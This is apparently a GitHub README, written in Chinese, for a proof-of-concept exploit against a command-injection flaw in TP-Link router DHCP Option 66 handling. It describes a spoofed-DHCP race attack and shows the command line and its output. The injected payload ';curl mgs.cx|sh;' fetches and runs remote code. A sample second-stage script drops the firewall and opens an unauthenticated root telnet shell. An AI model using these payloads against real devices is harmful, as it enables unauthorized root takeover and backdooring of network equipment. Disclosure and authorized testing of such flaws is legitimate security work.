mattgsys/CVE-2026-11834
GitHub: mattgsys/CVE-2026-11834
TP-Link 路由器 DHCP Option 66 未授权远程命令执行漏洞(CVE-2026-11834)的概念验证工具,通过 DHCP 竞态攻击利用固件命令注入缺陷实现 root 级 RCE。
Stars: 0 | Forks: 0
# CVE-2026-11834 (PoC)
TP-Link DHCP Option 66 未授权 RCE (CVE-2026-11834)
## 概述
TP-Link 路由器固件在处理 DHCP Option 66("TFTP Server Name")时存在命令注入漏洞 (CWE-78),允许同一网段上的未授权攻击者以 root 身份执行任意命令。当设备在其 WAN 接口上充当 DHCP 客户端时,租约中返回的 Option 66 值会被未经过滤地拼接到 `libcmm.so` 内部的 `tftp` shell 命令中。有五个函数会构建此命令并将其传递给 `util_execSystem()`,后者会调用 `system()`,因此精心构造的 Option 66 值会被作为 shell 输入解析,并以 root 身份执行。
Option 66 的值在设备上会被截断为 16 个字符,因此 payload 采用了一种最小化的获取并执行方式(`;curl |sh;`),通过 HTTP 拉取更大的第二阶段 payload。
攻击者无需控制 DHCP 服务器。此 PoC 会与网段上的合法服务器进行竞争:它伪装成目标设备发送伪造的 DHCP `RELEASE` 以清除其绑定,等待目标重新获取租约,然后在合法服务器回复之前,携带 payload 回复目标广播的 `OFFER`/`ACK`。
此 PoC 已在 TP-Link Archer C20 V6(固件 0.9.1 Build 4.19,欧盟版)上进行了测试。该易受攻击的代码路径在一系列 TP-Link 路由器中共享;在其他型号或固件版本上,内存偏移量、函数地址和行为可能有所不同。
## 警告
此 PoC 会投递一个 Option 66 payload,该 payload 将在目标设备上以 root 身份执行。示例的第二阶段 payload 会关闭设备防火墙并启动一个 telnet 监听器。请仅对您拥有或获得明确授权测试的硬件运行此操作。
## 用法
```
$ sudo python3 cve-2026-11834.py -i -s -S -p ''
```
| 参数 | 描述 |
| --------------------- | ----------------------------------------------------------- |
| `target_ip` | 目标设备的当前 IP 地址 |
| `-i`, `--interface` | 目标所在网段的网络接口 |
| `-s`, `--server-ip` | 合法的 DHCP 服务器 IP |
| `-S`, `--server-mac` | 合法的 DHCP 服务器 MAC |
| `-p`, `--payload` | Option 66 值(<=16 个字符),例如 `;curl |sh;` |
| `-t`, `--target-mac` | 目标 MAC(如果省略,则通过 ARP 自动解析) |
| `-a`, `--attacker-ip` | 恶意租约中通告的 Server-id(默认为接口 IP) |
运行示例:
```
$ sudo python3 cve-2026-11834.py 10.0.10.110 -i eth0 -s 10.0.10.254 -S 00:f2:8b:99:86:46 -p ';curl mgs.cx|sh;'
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack
Target IP : 10.0.10.110
Target MAC : 3c:64:cf:7b:69:8b
DHCP Server : 10.0.10.254 (00:f2:8b:99:86:46)
Attacker IP : 10.0.10.5
Interface : eth0
Payload : ;curl mgs.cx|sh;
[*] Sending spoofed DHCP RELEASE for 10.0.10.110
[*] RELEASE sent. Waiting for target to re-acquire lease...
[!] Got DHCP REQUEST from 3c:64:cf:7b:69:8b, XID: 0x43edad72
[>] Sending malicious DHCP ACK...
[>] ACK sent. Payload delivered.
```
payload 主机提供设备获取并运行的第二阶段 payload。例如:
```
$ cat index.html
echo "[*] Execution"
iptables -F
iptables -P INPUT ACCEPT
echo "[*] Firewall rules dropped"
telnetd -l /bin/sh -p 2323 -b 0.0.0.0
echo "[*] Telnetd started on port 2323"
$ sudo python3 -m http.server 80
```
## 链接
- 完整分析报告:https://mattg.systems/posts/cve-2026-11834/
- CVE 记录:https://www.cve.org/cverecord?id=CVE-2026-11834
- TP-Link 安全公告:https://www.tp-link.com/uk/support/faq/5141/
标签:DHCP, Go语言工具, PoC, Python, 无后门, 暴力破解, 编程工具, 路由器安全, 远程代码执行, 逆向工具